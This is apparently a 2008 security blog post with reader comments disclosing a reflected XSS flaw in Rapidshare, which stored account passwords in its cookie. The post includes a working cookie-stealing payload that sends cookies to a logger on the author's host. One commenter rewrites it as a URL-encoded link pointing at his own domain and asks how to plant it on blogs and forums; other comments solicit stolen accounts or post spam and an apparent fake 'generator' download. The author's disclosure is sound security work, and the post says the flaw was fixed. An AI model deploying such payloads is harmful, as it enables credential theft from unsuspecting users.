As nktpro graciously told us, the latest of several XSS vulnerabilities affecting Rapidshare is still unpatched, one month after it had been reported to the site owners.
But what can you expect by people who stores both your username and password inside your cookie?
Yes, check it by yourself: a Rapidshare cookie is something like user=12345-%36%37%38%39%30.
In Javascript,
cookie = "username=" + login + "-" + pwd.replace(/./g, function(s) "%" + (s.charCodeAt(0).toString(16)))
Therefore, for a given cookie, access credentials are just
var [login, pwd] = cookie.replace(/.*=/,'').split("-"), pwd = unescape(pwd);
This means that if I embed the following code on this blog post, or even better on the FlashGot homepage, visited by thousands of Rapidshare users, I own an insane lot of accounts in a blink:
var injection = "<script>(" + (function() {
new Image().src = "http://evil.hackademix.net/cookielogger/rapidshare/?c=" +
escape(document.cookie);
}) + ")()</scr" + "ipt>"
var iframe = document.body.appendChild(document.createElement("iframe"));
iframe.style.visibility = "hidden";
iframe.src = "http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22" +
encodeURIComponent(injection);
But luckily, no Rapidshare user would ever visit those shady p0rn/w4r3z sites… ;)
Update
Fixed on 6 Aug 2008.
July 15th, 2008 at 6:03 am
Techno bable is fine. But how about in English (or Italian, English preferred ;-)).
This vulnerability exists, two fold. First because of XSS vulnerabilities that exist on rapidshare.com. Second because RS in its wisdom stores un/pw in a cookie.
Correct?
Then there is NoScript, which can block XSS vulnerabilites, so you’re safer in that regard. But if you have a RS Premium account, you are likely to have RS whitelisted as RS (requires? or at least Free does most of the time) JavaScript, which makes you vulnerable again?
And instead of injecting ‘XXX by NKTPRO’, you inject your bit of script, which gathers the cookie?
With RS whitelisted, does the "attacking" website also need to be Allowed in order for it to grab the cookie, or does the fact that the attacking site has not been allowed block the attack even though RS is Allowed?
When RS is not allowed, NoScript, what is it, URL encodes the ’script’ & so instead of "executing", it simply ends up being tacked on as part of the loaded URL?
wiretransfer.cgi is the attach venue? In the script, the attacker is in effect hosting wiretransfer.cgi on its website, if you will, giving it access to the RS cookie?
July 15th, 2008 at 6:49 am
I am sorry but NKTPRO let them know, then they didn’t do anything he let the world know. They still haven’t done anything, they almost deserve it… Embed the code in this post, embed it in flashgot.net, and then email them the usernames and passwords, maybe then they will listen.
Of course all us noscript users will be safe, and those of us who don’t have rapidshare accounts even safer :P
July 15th, 2008 at 8:24 am
You would think they would have listened after a month? rapid share you deserve the torrent of crap emails from people loosing their accounts that you will get - because you never listened to this guy!…
July 15th, 2008 at 9:32 am
Luckily wget doesn’t use cookies ;-)
July 15th, 2008 at 9:33 am
[…] hackademix.net » I Own Your Rapidshare Accounts Dumb companies with dumb programmers make easy targets of their customers. (tags: rapidshare programming webdevelopment security) […]
July 15th, 2008 at 11:45 am
@therube:
How many questions! :)
Yes
No!
If you’ve got NoScript, you’re safe no matter if Rapidshare or even the attacker site is whitelisted.
Despite what some people (including a certain guy that we will call just W. P.) still believe, NoScript’s XSS filters work independently from your whitelist.
Exactly.
No, generally speaking the “attacking” website just needs RS to be allowed: I used JavaScript code in my “attack” didactic example just to make more apparent the various parts of the attack (i.e. the iframe as an automatic navigation trigger, the target vulnerable RS URL and the injected code), but they could be composed on the server side by the attacker site and just an iframe (or a meta-refresh, or a normal link) be sent to the client.
This means that if you use other means, different than NoScript, to block JavaScript selectively (e.g. Opera’s site preferences) you’re not protected from these attacks as soon as you enable RS.
On the opposite, NoScript “detects” the injection and sanitizes it, so you’re completely safe even if RS is whitelisted.
Correct, if your “not allowed” was a typo (I corrected it in the quote above). If the target is allowed, NoScript filters and neutralizes the cross-site request.
Not exactly: wiretransfer.cgi is a RS server side script which is vulnerable to injection.
The attacker can inject its code in the generated page, so RS involuntarily hosts the attacker’s script in its own domain, thus the attacker is allowed to grab the cookie which otherwise would be guarded by the browser built-in “same domain policy”.
Finally, you couldn’t see any result when you tried to run my Javascript sample for several reasons:
July 17th, 2008 at 4:22 pm
I need to speak with you, Mister!!
July 17th, 2008 at 5:24 pm
@pink cotton:
use my email address, then…
July 20th, 2008 at 12:35 pm
Can somebody send me a rapidshare premium account I can use? :D
The process seems very complicated. Hope you can mail me a few premium accounts with their passwords @ augianempire@gmail.com
Thanks
-Auge :)
July 21st, 2008 at 7:35 pm
>> augianempire@gmail.com
Added to spam lists =-)
July 22nd, 2008 at 6:27 pm
can anybody provide me a free rapidshare premium accounts i tried wht u code it don’t understand how to implament it. so can anybody plz give any premium accounts .
you can send mail to my mail id prudencevishal@aol.com
July 26th, 2008 at 11:16 pm
(Sigh)………Vishal, you’re a moron.
Nobody will ever give you free rapidshare premium. Of course I have some fake
rapidshare premium logins for you to download if you want to bolster my points,
so my RS account can pay for itself. By all means you can have em.
Just let me know. ROFL!
Dont want that? Awww thats too bad, because thats the closest you
will ever get to getting a RS Premium account by begging people on sites.
Save you’re effort, kid - spend that effort on finding a JOB, so you can
PURCHASE a RS Premium account like the rest of us.
The fact that we have one and you don’t is not anyone else’s problem. Its yours.
July 27th, 2008 at 4:35 pm
[injection] contains the hidden script that sends the info right?
[iframe] contains the iframe right?
When it gets to iframe.src, it takes the info from the rapidshare account and does [injection] right?
So now the only thing I need to understand is how [injection] is working and how you’re logging the info on your server.
July 30th, 2008 at 6:41 am
Hi Giorgio. What is the purpose for those parenthesis around the function in your injection variable? Also, what is this thing with the braces called: var [login, pwd] ? Thanks
July 30th, 2008 at 8:34 am
@Steph:
All correct.
[injection] is working because the Rapidshare CGI script echoes it back like it is, so the thing is rendered as a client side script.
I log the cookie to my server by creating an Image object and using the URL for my logger as its
srcproperty: that URL is immediately loaded in background.@newbie:
No purpose for the parentheses around the function, other than readability: it means create this function but evaluate it in a string context, just like calling its
toString()method.var [login, pwd] =is a destructuring assignment.July 30th, 2008 at 12:34 pm
Cool thanks!
But now… how do you access the info logged on your server? Is it just in a log that logs all the requests to your server, so when someone requests the image object source, the request for the source is recorded in your log?
It’s the only bit I’m not sure to understand, where the info is recorded.
Thanks! :3
July 30th, 2008 at 7:47 pm
It’s okay, I figured it out by trying it myself. The requests are logged in the Raw Access log on my server :3
But I’m not sure how I can embed this code on a webpage. I tried to post it on my blog to test it. I posted it in the "website" field in a comment, like this :
http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22%3E%3Cscript%3E((function()%20{new%20Image().src%20=%20"http://www.wasabite.com/cookielogger/rapidshare/?c="%20%2B%20escape(document.cookie);}))()%3C/script%3E
The link appears correctly in the status bar but when I click on it, but it shows up like this in the URL bar :
http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345"> <== See the ?c= %2B escape part… there is no "+"
I also tried on a forum using bbCode.
[img size=150]http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22%3E%3Cscript%3E((function()%20{new%20Image().src%20=%20"http://www.wasabite.com/cookielogger/rapidshare/?c="%20%2B%20escape(document.cookie);}))()%3C/script%3E[/img]
I have absolutely no clue if it will work. I’ve never worked with JavaScript before, so I don’t know anything about it. The only thing I know is C++ that is very similar to JS.
August 6th, 2008 at 9:29 pm
I hear that rapidshare have fixed this exploit now :(
Wondered why i couldnt get it to work!!
Is there any other way to do this?
August 7th, 2008 at 12:37 am
Fixed on 06-Aug-2008
January 15th, 2009 at 5:00 am
free rapidshare premium account!!!
http://www.AWSurveys.com/HomeMain.cfm?RefID=smartnike
January 21st, 2009 at 12:48 am
[…] users (and I repet myself) TEND TO USE THE SAME PASSWORD over and over again. Take a look at this article which is an example of such an attack. I’m sure the majority of rapidshare users use […]
February 18th, 2009 at 2:48 am
Right @N00b, I wonder if there’s any way to do this :-)
May 7th, 2009 at 8:57 am
http://rapidshare.com/files/230103712/generator_RS_Premium.rar
best way is the generator